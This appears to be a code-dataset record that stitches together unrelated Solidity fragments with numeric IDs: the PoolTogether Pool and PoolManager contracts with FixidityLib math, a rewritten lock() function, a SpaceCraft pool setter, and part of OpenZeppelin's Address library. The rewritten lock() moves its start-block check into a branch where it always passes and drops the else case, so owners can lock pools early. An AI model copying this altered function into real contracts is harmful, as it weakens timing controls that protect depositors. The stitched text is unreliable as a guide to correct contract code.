/** * @notice Converts an int256 to fixed point units, equivalent to multiplying * by 10^digits(). * @dev Test newFixed(0) returns 0 * Test newFixed(1) returns fixed1() * Test newFixed(maxNewFixed()) returns maxNewFixed() * fixed1() * Test newFixed(maxNewFixed()+1) fails */ function newFixed(int256 x) public pure returns (int256) { assert(x <= maxNewFixed()); assert(x >= minNewFixed()); return x * fixed1(); } /** * @notice Converts an int256 in the fixed point representation of this * library to a non decimal. All decimal digits will be truncated. */ function fromFixed(int256 x) public pure returns (int256) { return x / fixed1(); } /** * @notice Converts an int256 which is already in some fixed point * representation to a different fixed precision representation. * Both the origin and destination precisions must be 38 or less digits. * Origin values with a precision higher than the destination precision * will be truncated accordingly. * @dev * Test convertFixed(1,0,0) returns 1; * Test convertFixed(1,1,1) returns 1; * Test convertFixed(1,1,0) returns 0; * Test convertFixed(1,0,1) returns 10; * Test convertFixed(10,1,0) returns 1; * Test convertFixed(10,0,1) returns 100; * Test convertFixed(100,1,0) returns 10; * Test convertFixed(100,0,1) returns 1000; * Test convertFixed(1000,2,0) returns 10; * Test convertFixed(1000,0,2) returns 100000; * Test convertFixed(1000,2,1) returns 100; * Test convertFixed(1000,1,2) returns 10000; * Test convertFixed(maxInt256,1,0) returns maxInt256/10; * Test convertFixed(maxInt256,0,1) throws * Test convertFixed(maxInt256,38,0) returns maxInt256/(10**38); * Test convertFixed(1,0,38) returns 10**38; * Test convertFixed(maxInt256,39,0) throws * Test convertFixed(1,0,39) throws */ function convertFixed(int256 x, uint8 _originDigits, uint8 _destinationDigits) public pure returns (int256) { assert(_originDigits <= 38 && _destinationDigits <= 38); uint8 decimalDifference; if ( _originDigits > _destinationDigits ){ decimalDifference = _originDigits - _destinationDigits; return x/(uint128(10)**uint128(decimalDifference)); } else if ( _originDigits < _destinationDigits ){ decimalDifference = _destinationDigits - _originDigits; // Cast uint8 -> uint128 is safe // Exponentiation is safe: // _originDigits and _destinationDigits limited to 38 or less // decimalDifference = abs(_destinationDigits - _originDigits) // decimalDifference < 38 // 10**38 < 2**128-1 assert(x <= maxInt256()/uint128(10)**uint128(decimalDifference)); assert(x >= minInt256()/uint128(10)**uint128(decimalDifference)); return x*(uint128(10)**uint128(decimalDifference)); } // _originDigits == digits()) return x; } /** * @notice Converts an int256 which is already in some fixed point * representation to that of this library. The _originDigits parameter is the * precision of x. Values with a precision higher than FixidityLib.digits() * will be truncated accordingly. */ function newFixed(int256 x, uint8 _originDigits) public pure returns (int256) { return convertFixed(x, _originDigits, digits()); } /** * @notice Converts an int256 in the fixed point representation of this * library to a different representation. The _destinationDigits parameter is the * precision of the output x. Values with a precision below than * FixidityLib.digits() will be truncated accordingly. */ function fromFixed(int256 x, uint8 _destinationDigits) public pure returns (int256) { return convertFixed(x, digits(), _destinationDigits); } /** * @notice Converts two int256 representing a fraction to fixed point units, * equivalent to multiplying dividend and divisor by 10^digits(). * @dev * Test newFixedFraction(maxFixedDiv()+1,1) fails * Test newFixedFraction(1,maxFixedDiv()+1) fails * Test newFixedFraction(1,0) fails * Test newFixedFraction(0,1) returns 0 * Test newFixedFraction(1,1) returns fixed1() * Test newFixedFraction(maxFixedDiv(),1) returns maxFixedDiv()*fixed1() * Test newFixedFraction(1,fixed1()) returns 1 * Test newFixedFraction(1,fixed1()-1) returns 0 */ function newFixedFraction( int256 numerator, int256 denominator ) public pure returns (int256) { assert(numerator <= maxNewFixed()); assert(denominator <= maxNewFixed()); assert(denominator != 0); int256 convertedNumerator = newFixed(numerator); int256 convertedDenominator = newFixed(denominator); return divide(convertedNumerator, convertedDenominator); } /** * @notice Returns the integer part of a fixed point number. * @dev * Test integer(0) returns 0 * Test integer(fixed1()) returns fixed1() * Test integer(newFixed(maxNewFixed())) returns maxNewFixed()*fixed1() * Test integer(-fixed1()) returns -fixed1() * Test integer(newFixed(-maxNewFixed())) returns -maxNewFixed()*fixed1() */ function integer(int256 x) public pure returns (int256) { return (x / fixed1()) * fixed1(); // Can't overflow } /** * @notice Returns the fractional part of a fixed point number. * In the case of a negative number the fractional is also negative. * @dev * Test fractional(0) returns 0 * Test fractional(fixed1()) returns 0 * Test fractional(fixed1()-1) returns 10^24-1 * Test fractional(-fixed1()) returns 0 * Test fractional(-fixed1()+1) returns -10^24-1 */ function fractional(int256 x) public pure returns (int256) { return x - (x / fixed1()) * fixed1(); // Can't overflow } /** * @notice Converts to positive if negative. * Due to int256 having one more negative number than positive numbers * abs(minInt256) reverts. * @dev * Test abs(0) returns 0 * Test abs(fixed1()) returns -fixed1() * Test abs(-fixed1()) returns fixed1() * Test abs(newFixed(maxNewFixed())) returns maxNewFixed()*fixed1() * Test abs(newFixed(minNewFixed())) returns -minNewFixed()*fixed1() */ function abs(int256 x) public pure returns (int256) { if (x >= 0) { return x; } else { int256 result = -x; assert (result > 0); return result; } } /** * @notice x+y. If any operator is higher than maxFixedAdd() it * might overflow. * In solidity maxInt256 + 1 = minInt256 and viceversa. * @dev * Test add(maxFixedAdd(),maxFixedAdd()) returns maxInt256()-1 * Test add(maxFixedAdd()+1,maxFixedAdd()+1) fails * Test add(-maxFixedSub(),-maxFixedSub()) returns minInt256() * Test add(-maxFixedSub()-1,-maxFixedSub()-1) fails * Test add(maxInt256(),maxInt256()) fails * Test add(minInt256(),minInt256()) fails */ function add(int256 x, int256 y) public pure returns (int256) { int256 z = x + y; if (x > 0 && y > 0) assert(z > x && z > y); if (x < 0 && y < 0) assert(z < x && z < y); return z; } /** * @notice x-y. You can use add(x,-y) instead. * @dev Tests covered by add(x,y) */ function subtract(int256 x, int256 y) public pure returns (int256) { return add(x,-y); } /** * @notice x*y. If any of the operators is higher than maxFixedMul() it * might overflow. * @dev * Test multiply(0,0) returns 0 * Test multiply(maxFixedMul(),0) returns 0 * Test multiply(0,maxFixedMul()) returns 0 * Test multiply(maxFixedMul(),fixed1()) returns maxFixedMul() * Test multiply(fixed1(),maxFixedMul()) returns maxFixedMul() * Test all combinations of (2,-2), (2, 2.5), (2, -2.5) and (0.5, -0.5) * Test multiply(fixed1()/mulPrecision(),fixed1()*mulPrecision()) * Test multiply(maxFixedMul()-1,maxFixedMul()) equals multiply(maxFixedMul(),maxFixedMul()-1) * Test multiply(maxFixedMul(),maxFixedMul()) returns maxInt256() // Probably not to the last digits * Test multiply(maxFixedMul()+1,maxFixedMul()) fails * Test multiply(maxFixedMul(),maxFixedMul()+1) fails */ function multiply(int256 x, int256 y) public pure returns (int256) { if (x == 0 || y == 0) return 0; if (y == fixed1()) return x; if (x == fixed1()) return y; // Separate into integer and fractional parts // x = x1 + x2, y = y1 + y2 int256 x1 = integer(x) / fixed1(); int256 x2 = fractional(x); int256 y1 = integer(y) / fixed1(); int256 y2 = fractional(y); // (x1 + x2) * (y1 + y2) = (x1 * y1) + (x1 * y2) + (x2 * y1) + (x2 * y2) int256 x1y1 = x1 * y1; if (x1 != 0) assert(x1y1 / x1 == y1); // Overflow x1y1 // x1y1 needs to be multiplied back by fixed1 // solium-disable-next-line mixedcase int256 fixed_x1y1 = x1y1 * fixed1(); if (x1y1 != 0) assert(fixed_x1y1 / x1y1 == fixed1()); // Overflow x1y1 * fixed1 x1y1 = fixed_x1y1; int256 x2y1 = x2 * y1; if (x2 != 0) assert(x2y1 / x2 == y1); // Overflow x2y1 int256 x1y2 = x1 * y2; if (x1 != 0) assert(x1y2 / x1 == y2); // Overflow x1y2 x2 = x2 / mulPrecision(); y2 = y2 / mulPrecision(); int256 x2y2 = x2 * y2; if (x2 != 0) assert(x2y2 / x2 == y2); // Overflow x2y2 // result = fixed1() * x1 * y1 + x1 * y2 + x2 * y1 + x2 * y2 / fixed1(); int256 result = x1y1; result = add(result, x2y1); // Add checks for overflow result = add(result, x1y2); // Add checks for overflow result = add(result, x2y2); // Add checks for overflow return result; } /** * @notice 1/x * @dev * Test reciprocal(0) fails * Test reciprocal(fixed1()) returns fixed1() * Test reciprocal(fixed1()*fixed1()) returns 1 // Testing how the fractional is truncated * Test reciprocal(2*fixed1()*fixed1()) returns 0 // Testing how the fractional is truncated */ function reciprocal(int256 x) public pure returns (int256) { assert(x != 0); return (fixed1()*fixed1()) / x; // Can't overflow } /** * @notice x/y. If the dividend is higher than maxFixedDiv() it * might overflow. You can use multiply(x,reciprocal(y)) instead. * There is a loss of precision on division for the lower mulPrecision() decimals. * @dev * Test divide(fixed1(),0) fails * Test divide(maxFixedDiv(),1) = maxFixedDiv()*(10^digits()) * Test divide(maxFixedDiv()+1,1) throws * Test divide(maxFixedDiv(),maxFixedDiv()) returns fixed1() */ function divide(int256 x, int256 y) public pure returns (int256) { if (y == fixed1()) return x; assert(y != 0); assert(y <= maxFixedDivisor()); return multiply(x, reciprocal(y)); } } /** * @title The Pool contract for PoolTogether * @author Brendan Asselstine * @notice This contract implements a "lossless pool". The pool exists in three states: open, locked, and complete. * The pool begins in the open state during which users can buy any number of tickets. The more tickets they purchase, the greater their chances of winning. * After the lockStartBlock the owner may lock the pool. The pool transfers the pool of ticket money into the Compound Finance money market and no more tickets are sold. * After the lockEndBlock the owner may unlock the pool. The pool will withdraw the ticket money from the money market, plus earned interest, back into the contract. The fee will be sent to * the owner, and users will be able to withdraw their ticket money and winnings, if any. * @dev All monetary values are stored internally as fixed point 24. */ contract Pool is Ownable { using SafeMath for uint256; /** * Emitted when "tickets" have been purchased. * @param sender The purchaser of the tickets * @param count The number of tickets purchased * @param totalPrice The total cost of the tickets */ event BoughtTickets(address indexed sender, int256 count, uint256 totalPrice); /** * Emitted when a user withdraws from the pool. * @param sender The user that is withdrawing from the pool * @param amount The amount that the user withdrew */ event Withdrawn(address indexed sender, int256 amount); /** * Emitted when the pool is locked. */ event PoolLocked(); /** * Emitted when the pool is unlocked. */ event PoolUnlocked(); /** * Emitted when the pool is complete */ event PoolComplete(address indexed winner); enum State { OPEN, LOCKED, UNLOCKED, COMPLETE } struct Entry { address addr; int256 amount; uint256 ticketCount; int256 withdrawnNonFixed; } bytes32 public constant SUM_TREE_KEY = "PoolPool"; int256 private totalAmount; // fixed point 24 uint256 private lockStartBlock; uint256 private lockEndBlock; bytes32 private secretHash; bytes32 private secret; State public state; int256 private finalAmount; //fixed point 24 mapping (address => Entry) private entries; uint256 public entryCount; ICErc20 public moneyMarket; IERC20 public token; int256 private ticketPrice; //fixed point 24 int256 private feeFraction; //fixed point 24 bool private ownerHasWithdrawn; bool public allowLockAnytime; address private winningAddress; using SortitionSumTreeFactory for SortitionSumTreeFactory.SortitionSumTrees; SortitionSumTreeFactory.SortitionSumTrees internal sortitionSumTrees; /** * @notice Creates a new Pool. * @param _moneyMarket The Compound money market to supply tokens to. * @param _token The ERC20 token to be used. * @param _lockStartBlock The block number on or after which the deposit can be made to Compound * @param _lockEndBlock The block number on or after which the Compound supply can be withdrawn * @param _ticketPrice The price of each ticket (fixed point 18) * @param _feeFractionFixedPoint18 The fraction of the winnings going to the owner (fixed point 18) */ constructor ( ICErc20 _moneyMarket, IERC20 _token, uint256 _lockStartBlock, uint256 _lockEndBlock, int256 _ticketPrice, int256 _feeFractionFixedPoint18, bool _allowLockAnytime ) public { require(_lockEndBlock > _lockStartBlock, "lock end block is not after start block"); require(address(_moneyMarket) != address(0), "money market address cannot be zero"); require(address(_token) != address(0), "token address cannot be zero"); require(_ticketPrice > 0, "ticket price must be greater than zero"); require(_feeFractionFixedPoint18 >= 0, "fee must be zero or greater"); require(_feeFractionFixedPoint18 <= 1000000000000000000, "fee fraction must be less than 1"); feeFraction = FixidityLib.newFixed(_feeFractionFixedPoint18, uint8(18)); ticketPrice = FixidityLib.newFixed(_ticketPrice); sortitionSumTrees.createTree(SUM_TREE_KEY, 4); state = State.OPEN; moneyMarket = _moneyMarket; token = _token; lockStartBlock = _lockStartBlock; lockEndBlock = _lockEndBlock; allowLockAnytime = _allowLockAnytime; } /** * @notice Buys a pool ticket. Only possible while the Pool is in the "open" state. The * user can buy any number of tickets. Each ticket is a chance at winning. * @param _countNonFixed The number of tickets the user wishes to buy. */ function buyTickets (int256 _countNonFixed) public requireOpen { require(_countNonFixed > 0, "number of tickets is less than or equal to zero"); int256 count = FixidityLib.newFixed(_countNonFixed); int256 totalDeposit = FixidityLib.multiply(ticketPrice, count); uint256 totalDepositNonFixed = uint256(FixidityLib.fromFixed(totalDeposit)); require(token.transferFrom(msg.sender, address(this), totalDepositNonFixed), "token transfer failed"); if (_hasEntry(msg.sender)) { entries[msg.sender].amount = FixidityLib.add(entries[msg.sender].amount, totalDeposit); entries[msg.sender].ticketCount = entries[msg.sender].ticketCount.add(uint256(_countNonFixed)); } else { entries[msg.sender] = Entry( msg.sender, totalDeposit, uint256(_countNonFixed), 0 ); entryCount = entryCount.add(1); } int256 amountNonFixed = FixidityLib.fromFixed(entries[msg.sender].amount); sortitionSumTrees.set(SUM_TREE_KEY, uint256(amountNonFixed), bytes32(uint256(msg.sender))); totalAmount = FixidityLib.add(totalAmount, totalDeposit); // the total amount cannot exceed the max pool size require(totalAmount <= maxPoolSizeFixedPoint24(FixidityLib.maxFixedDiv()), "pool size exceeds maximum"); emit BoughtTickets(msg.sender, _countNonFixed, totalDepositNonFixed); } /** * @notice Pools the deposits and supplies them to Compound. * Can only be called by the owner when the pool is open. * Fires the PoolLocked event. */ function lock(bytes32 _secretHash) external requireOpen onlyOwner { if (allowLockAnytime) { lockStartBlock = block.number; } else { require(block.number >= lockStartBlock, "pool can only be locked on or after lock start block"); } require(_secretHash != 0, "secret hash must be defined"); secretHash = _secretHash; state = State.LOCKED; if (totalAmount > 0) { uint256 totalAmountNonFixed = uint256(FixidityLib.fromFixed(totalAmount)); require(token.approve(address(moneyMarket), totalAmountNonFixed), "could not approve money market spend"); require(moneyMarket.mint(totalAmountNonFixed) == 0, "could not supply money market"); } emit PoolLocked(); } function unlock() public requireLocked { if (allowLockAnytime && msg.sender == owner()) { lockEndBlock = block.number; } else { require(lockEndBlock < block.number, "pool cannot be unlocked yet"); } uint256 balance = moneyMarket.balanceOfUnderlying(address(this)); if (balance > 0) { require(moneyMarket.redeemUnderlying(balance) == 0, "could not redeem from compound"); finalAmount = FixidityLib.newFixed(int256(balance)); } state = State.UNLOCKED; emit PoolUnlocked(); } /** * @notice Withdraws the deposit from Compound and selects a winner. * Can only be called by the owner after the lock end block. * Fires the PoolUnlocked event. */ function complete(bytes32 _secret) public onlyOwner { if (state == State.LOCKED) { unlock(); } require(state == State.UNLOCKED, "state must be unlocked"); require(keccak256(abi.encodePacked(_secret)) == secretHash, "secret does not match"); secret = _secret; state = State.COMPLETE; winningAddress = calculateWinner(); uint256 fee = feeAmount(); if (fee > 0) { require(token.transfer(owner(), fee), "could not transfer winnings"); } emit PoolComplete(winningAddress); } /** * @notice Transfers a users deposit, and potential winnings, back to them. * The Pool must be unlocked. * The user must have deposited funds. Fires the Withdrawn event. */ function withdraw() public { require(_hasEntry(msg.sender), "entrant exists"); require(state == State.UNLOCKED || state == State.COMPLETE, "pool has not been unlocked"); Entry storage entry = entries[msg.sender]; int256 remainingBalanceNonFixed = balanceOf(msg.sender); require(remainingBalanceNonFixed > 0, "entrant has already withdrawn"); entry.withdrawnNonFixed = entry.withdrawnNonFixed + remainingBalanceNonFixed; emit Withdrawn(msg.sender, remainingBalanceNonFixed); require(token.transfer(msg.sender, uint256(remainingBalanceNonFixed)), "could not transfer winnings"); } /** * @notice Calculates a user's winnings. This is their deposit plus their winnings, if any. * @param _addr The address of the user */ function winnings(address _addr) public view returns (int256) { Entry storage entry = entries[_addr]; if (entry.addr == address(0)) { //if does not have an entry return 0; } int256 winningTotal = entry.amount; if (state == State.COMPLETE && _addr == winningAddress) { winningTotal = FixidityLib.add(winningTotal, netWinningsFixedPoint24()); } return FixidityLib.fromFixed(winningTotal); } /** * @notice Calculates a user's remaining balance. This is their winnings less how much they've withdrawn. * @return The users's current balance. */ function balanceOf(address _addr) public view returns (int256) { Entry storage entry = entries[_addr]; int256 winningTotalNonFixed = winnings(_addr); return winningTotalNonFixed - entry.withdrawnNonFixed; } function calculateWinner() private view returns (address) { if (totalAmount > 0) { return address(uint256(sortitionSumTrees.draw(SUM_TREE_KEY, randomToken()))); } else { return address(0); } } /** * @notice Selects and returns the winner's address * @return The winner's address */ function winnerAddress() public view returns (address) { return winningAddress; } /** * @notice Returns the total interest on the pool less the fee as a whole number * @return The total interest on the pool less the fee as a whole number */ function netWinnings() public view returns (int256) { return FixidityLib.fromFixed(netWinningsFixedPoint24()); } /** * @notice Computes the total interest earned on the pool less the fee as a fixed point 24. * @return The total interest earned on the pool less the fee as a fixed point 24. */ function netWinningsFixedPoint24() internal view returns (int256) { return grossWinningsFixedPoint24() - feeAmountFixedPoint24(); } /** * @notice Computes the total interest earned on the pool as a fixed point 24. * This is what the winner will earn once the pool is unlocked. * @return The total interest earned on the pool as a fixed point 24. */ function grossWinningsFixedPoint24() internal view returns (int256) { return FixidityLib.subtract(finalAmount, totalAmount); } /** * @notice Calculates the size of the fee based on the gross winnings * @return The fee for the pool to be transferred to the owner */ function feeAmount() public view returns (uint256) { return uint256(FixidityLib.fromFixed(feeAmountFixedPoint24())); } /** * @notice Calculates the fee for the pool by multiplying the gross winnings by the fee fraction. * @return The fee for the pool as a fixed point 24 */ function feeAmountFixedPoint24() internal view returns (int256) { return FixidityLib.multiply(grossWinningsFixedPoint24(), feeFraction); } /** * @notice Selects a random number in the range from [0, total tokens deposited) * @return If the current block is before the end it returns 0, otherwise it returns the random number. */ function randomToken() public view returns (uint256) { if (block.number <= lockEndBlock) { return 0; } else { return _selectRandom(uint256(FixidityLib.fromFixed(totalAmount))); } } /** * @notice Selects a random number in the range [0, total) * @param total The upper bound for the random number * @return The random number */ function _selectRandom(uint256 total) internal view returns (uint256) { return UniformRandomNumber.uniform(_entropy(), total); } /** * @notice Computes the entropy used to generate the random number. * The blockhash of the lock end block is XOR'd with the secret revealed by the owner. * @return The computed entropy value */ function _entropy() internal view returns (uint256) { return uint256(blockhash(block.number - 1) ^ secret); } /** * @notice Retrieves information about the pool. * @return A tuple containing: * entryTotal (the total of all deposits) * startBlock (the block after which the pool can be locked) * endBlock (the block after which the pool can be unlocked) * poolState (either OPEN, LOCKED, COMPLETE) * winner (the address of the winner) * supplyBalanceTotal (the total deposits plus any interest from Compound) * ticketCost (the cost of each ticket in DAI) * participantCount (the number of unique purchasers of tickets) * maxPoolSize (the maximum theoretical size of the pool to prevent overflow) * estimatedInterestFixedPoint18 (the estimated total interest percent for this pool) * hashOfSecret (the hash of the secret the owner submitted upon locking) */ function getInfo() public view returns ( int256 entryTotal, uint256 startBlock, uint256 endBlock, State poolState, address winner, int256 supplyBalanceTotal, int256 ticketCost, uint256 participantCount, int256 maxPoolSize, int256 estimatedInterestFixedPoint18, bytes32 hashOfSecret ) { return ( FixidityLib.fromFixed(totalAmount), lockStartBlock, lockEndBlock, state, winningAddress, FixidityLib.fromFixed(finalAmount), FixidityLib.fromFixed(ticketPrice), entryCount, FixidityLib.fromFixed(maxPoolSizeFixedPoint24(FixidityLib.maxFixedDiv())), FixidityLib.fromFixed(currentInterestFractionFixedPoint24(), uint8(18)), secretHash ); } /** * @notice Retrieves information about a user's entry in the Pool. * @return Returns a tuple containing: * addr (the address of the user) * amount (the amount they deposited) * ticketCount (the number of tickets they have bought) * withdrawn (the amount they have withdrawn) */ function getEntry(address _addr) public view returns ( address addr, int256 amount, uint256 ticketCount, int256 withdrawn ) { Entry storage entry = entries[_addr]; return ( entry.addr, FixidityLib.fromFixed(entry.amount), entry.ticketCount, entry.withdrawnNonFixed ); } /** * @notice Calculates the maximum pool size so that it doesn't overflow after earning interest * @dev poolSize = totalDeposits + totalDeposits * interest => totalDeposits = poolSize / (1 + interest) * @return The maximum size of the pool to be deposited into the money market */ function maxPoolSizeFixedPoint24(int256 _maxValueFixedPoint24) public view returns (int256) { /// Double the interest rate in case it increases over the lock period. Somewhat arbitrarily. int256 interestFraction = FixidityLib.multiply(currentInterestFractionFixedPoint24(), FixidityLib.newFixed(2)); return FixidityLib.divide(_maxValueFixedPoint24, FixidityLib.add(interestFraction, FixidityLib.newFixed(1))); } /** * @notice Estimates the current effective interest rate using the money market's current supplyRateMantissa and the lock duration in blocks. * @return The current estimated effective interest rate */ function currentInterestFractionFixedPoint24() public view returns (int256) { int256 blockDuration = int256(lockEndBlock - lockStartBlock); int256 supplyRateMantissaFixedPoint24 = FixidityLib.newFixed(int256(supplyRateMantissa()), uint8(18)); return FixidityLib.multiply(supplyRateMantissaFixedPoint24, FixidityLib.newFixed(blockDuration)); } /** * @notice Extracts the supplyRateMantissa value from the money market contract * @return The money market supply rate per block */ function supplyRateMantissa() public view returns (uint256) { return moneyMarket.supplyRatePerBlock(); } /** * @notice Determines whether a given address has bought tickets * @param _addr The given address * @return Returns true if the given address bought tickets, false otherwise. */ function _hasEntry(address _addr) internal view returns (bool) { return entries[_addr].addr == _addr; } modifier requireOpen() { require(state == State.OPEN, "state is not open"); _; } modifier requireLocked() { require(state == State.LOCKED, "state is not locked"); _; } modifier requireComplete() { require(state == State.COMPLETE, "pool is not complete"); require(block.number > lockEndBlock, "block is before lock end period"); _; } } /** * @title The Pool Manager contract for PoolTogether. * @author Brendan Asselstine * @notice Creates Pools and ensures that there is only one active Pool at a time. */ contract PoolManager is Ownable { using SafeMath for uint256; /** * Emitted when a new Pool is created. * @param pool The address of the new Pool contract * @param number The index of the pool */ event PoolCreated(address indexed pool, uint256 indexed number); /** * Emitted when the open duration is changed. * @param durationInBlocks The new duration in blocks */ event OpenDurationChanged(uint256 durationInBlocks); /** * Emitted when the lock duration is changed. * @param durationInBlocks The new duration in blocks */ event LockDurationChanged(uint256 durationInBlocks); /** * Emitted when the ticket price is changed * @param ticketPrice The ticket price */ event TicketPriceChanged(int256 ticketPrice); /** * Emitted when the fee fraction is changed * @param feeFractionFixedPoint18 The new fee fraction encoded as a fixed point 18 decimal */ event FeeFractionChanged(int256 feeFractionFixedPoint18); /** * Emitted when the allow lock anytime is changed * @param allowLockAnytime The value of allow lock anytime */ event AllowLockAnytimeChanged(bool allowLockAnytime); /** * The Compound cToken to supply and withdraw from */ ICErc20 public moneyMarket; /** * The token to use for the moneyMarket */ IERC20 public token; /** * The currently active Pool */ Pool public currentPool; /** * The open duration in blocks to use for the next Pool */ uint256 public openDurationInBlocks; /** * The lock duration in blocks to use for the next Pool */ uint256 public lockDurationInBlocks; /** * The ticket price in tokens to use for the next Pool */ int256 public ticketPrice; /** * The owner fee fraction to use for the next Pool */ int256 private feeFractionFixedPoint18; /** * The number of Pools that have been created */ uint256 public poolCount; /** * Whether to allow the owner of the next Pool to lock and unlock at anytime. */ bool public allowLockAnytime; /** * @notice Initializes a new PoolManager contract. Generally called through ZeppelinOS * @param _owner The owner of the PoolManager. They are able to change settings and are set as the owner of new lotteries. * @param _moneyMarket The Compound Finance MoneyMarket contract to supply and withdraw tokens. * @param _token The token to use for the Pools * @param _openDurationInBlocks The duration between a Pool's creation and when it can be locked. * @param _lockDurationInBlocks The duration that a Pool must be locked for. * @param _ticketPrice The price that tickets should sell for * @param _feeFractionFixedPoint18 The fraction of the gross winnings that should be transferred to the owner as the fee. Is a fixed point 18 number. * @param _allowLockAnytime Whether the owner can lock and unlock the pools at any time. */ function init ( address _owner, address _moneyMarket, address _token, uint256 _openDurationInBlocks, uint256 _lockDurationInBlocks, int256 _ticketPrice, int256 _feeFractionFixedPoint18, bool _allowLockAnytime ) public initializer { require(_owner != address(0), "owner cannot be the null address"); require(_moneyMarket != address(0), "money market address is zero"); require(_token != address(0), "token address is zero"); Ownable.initialize(_owner); token = IERC20(_token); moneyMarket = ICErc20(_moneyMarket); require(_token == moneyMarket.underlying(), "token does not match the underlying money market token"); _setFeeFraction(_feeFractionFixedPoint18); _setLockDuration(_lockDurationInBlocks); _setOpenDuration(_openDurationInBlocks); _setTicketPrice(_ticketPrice); _setAllowLockAnytime(_allowLockAnytime); } /** * @notice Returns information about the PoolManager * @return A tuple containing: * _currentPool (the address of the current pool), * _openDurationInBlocks (the open duration in blocks to use for the next pool), * _lockDurationInBlocks (the lock duration in blocks to use for the next pool), * _ticketPrice (the ticket price in DAI for the next pool), * _feeFractionFixedPoint18 (the fee fraction for the next pool), * _poolCount (the number of pools that have been created) */ function getInfo() public view returns ( address _currentPool, uint256 _openDurationInBlocks, uint256 _lockDurationInBlocks, int256 _ticketPrice, int256 _feeFractionFixedPoint18, uint256 _poolCount ) { return ( address(currentPool), openDurationInBlocks, lockDurationInBlocks, ticketPrice, feeFractionFixedPoint18, poolCount ); } /** * @notice Creates a new Pool. There can be no current pool, or the current pool must be complete. * Can only be called by the owner. * Fires the PoolCreated event. * @return The address of the new pool */ function createPool() external onlyOwner returns (address) { bool canCreatePool = address(currentPool) == address(0) || currentPool.state() == Pool.State.COMPLETE; require(canCreatePool, "the last pool has not completed"); currentPool = new Pool( moneyMarket, token, block.number + openDurationInBlocks, block.number + openDurationInBlocks + lockDurationInBlocks, ticketPrice, feeFractionFixedPoint18, allowLockAnytime ); currentPool.initialize(owner()); poolCount = poolCount.add(1); emit PoolCreated(address(currentPool), poolCount); return address(currentPool); } /** * @notice Sets the open duration in blocks for new Pools. * Fires the OpenDurationChanged event. * Can only be set by the owner. Fires the OpenDurationChanged event. * @param _openDurationInBlocks The duration, in blocks, that a pool must be open for after it is created. */ function setOpenDuration(uint256 _openDurationInBlocks) public onlyOwner { _setOpenDuration(_openDurationInBlocks); } function _setOpenDuration(uint256 _openDurationInBlocks) internal { require(_openDurationInBlocks > 0, "open duration must be greater than zero"); openDurationInBlocks = _openDurationInBlocks; emit OpenDurationChanged(_openDurationInBlocks); } /** * @notice Sets the lock duration in blocks for new Pools. * Fires the LockDurationChanged event. * Can only be set by the owner. Only applies to subsequent Pools. * @param _lockDurationInBlocks The duration, in blocks, that new pools must be locked for. */ function setLockDuration(uint256 _lockDurationInBlocks) public onlyOwner { _setLockDuration(_lockDurationInBlocks); } function _setLockDuration(uint256 _lockDurationInBlocks) internal { require(_lockDurationInBlocks > 0, "bond duration must be greater than zero"); lockDurationInBlocks = _lockDurationInBlocks; emit LockDurationChanged(_lockDurationInBlocks); } /** * @notice Sets the ticket price in DAI. * Fires the TicketPriceChanged event. * Can only be called by the owner. Only applies to subsequent Pools. * @param _ticketPrice The new price for tickets. */ function setTicketPrice(int256 _ticketPrice) public onlyOwner { _setTicketPrice(_ticketPrice); } function _setTicketPrice(int256 _ticketPrice) internal { require(_ticketPrice > 0, "ticket price must be greater than zero"); ticketPrice = _ticketPrice; emit TicketPriceChanged(_ticketPrice); } /** * @notice Sets the fee fraction paid out to the Pool owner. * Fires the FeeFractionChanged event. * Can only be called by the owner. Only applies to subsequent Pools. * @param _feeFractionFixedPoint18 The fraction to pay out. * Must be between 0 and 1 and formatted as a fixed point number with 18 decimals (as in Ether). */ function setFeeFraction(int256 _feeFractionFixedPoint18) public onlyOwner { _setFeeFraction(_feeFractionFixedPoint18); } function _setFeeFraction(int256 _feeFractionFixedPoint18) internal { require(_feeFractionFixedPoint18 >= 0, "fee must be zero or greater"); require(_feeFractionFixedPoint18 <= 1000000000000000000, "fee fraction must be 1 or less"); feeFractionFixedPoint18 = _feeFractionFixedPoint18; emit FeeFractionChanged(_feeFractionFixedPoint18); } /** * @notice Allows the owner to set whether a Pool can be locked and unlocked at any time. * Fires the AllowLockAnytimeChanged event. * Can only be set by the owner. Only applies to subsequent Pools. * @param _allowLockAnytime True if the Pool can be locked and unlocked anytime, false otherwise. */ function setAllowLockAnytime(bool _allowLockAnytime) public onlyOwner { _setAllowLockAnytime(_allowLockAnytime); } function _setAllowLockAnytime(bool _allowLockAnytime) internal { allowLockAnytime = _allowLockAnytime; emit AllowLockAnytimeChanged(_allowLockAnytime); } }
Pools the deposits and supplies them to Compound. Can only be called by the owner when the pool is open. Fires the PoolLocked event./
function lock(bytes32 _secretHash) external requireOpen onlyOwner { if (allowLockAnytime) { lockStartBlock = block.number; require(block.number >= lockStartBlock, "pool can only be locked on or after lock start block"); } require(_secretHash != 0, "secret hash must be defined"); secretHash = _secretHash; state = State.LOCKED; if (totalAmount > 0) { uint256 totalAmountNonFixed = uint256(FixidityLib.fromFixed(totalAmount)); require(token.approve(address(moneyMarket), totalAmountNonFixed), "could not approve money market spend"); require(moneyMarket.mint(totalAmountNonFixed) == 0, "could not supply money market"); } emit PoolLocked(); }
6,910,876
./full_match/4/0xE751532751941cf8EAd8E2764851011e84705BF3/sources/browser/SpaceCraft.sol
Update the given pool's DMM allocation point. Can only be called by the owner.
function set( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add( _allocPoint ); poolInfo[_pid].allocPoint = _allocPoint; }
12,435,149
/** *Submitted for verification at Etherscan.io on 2022-03-14 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * 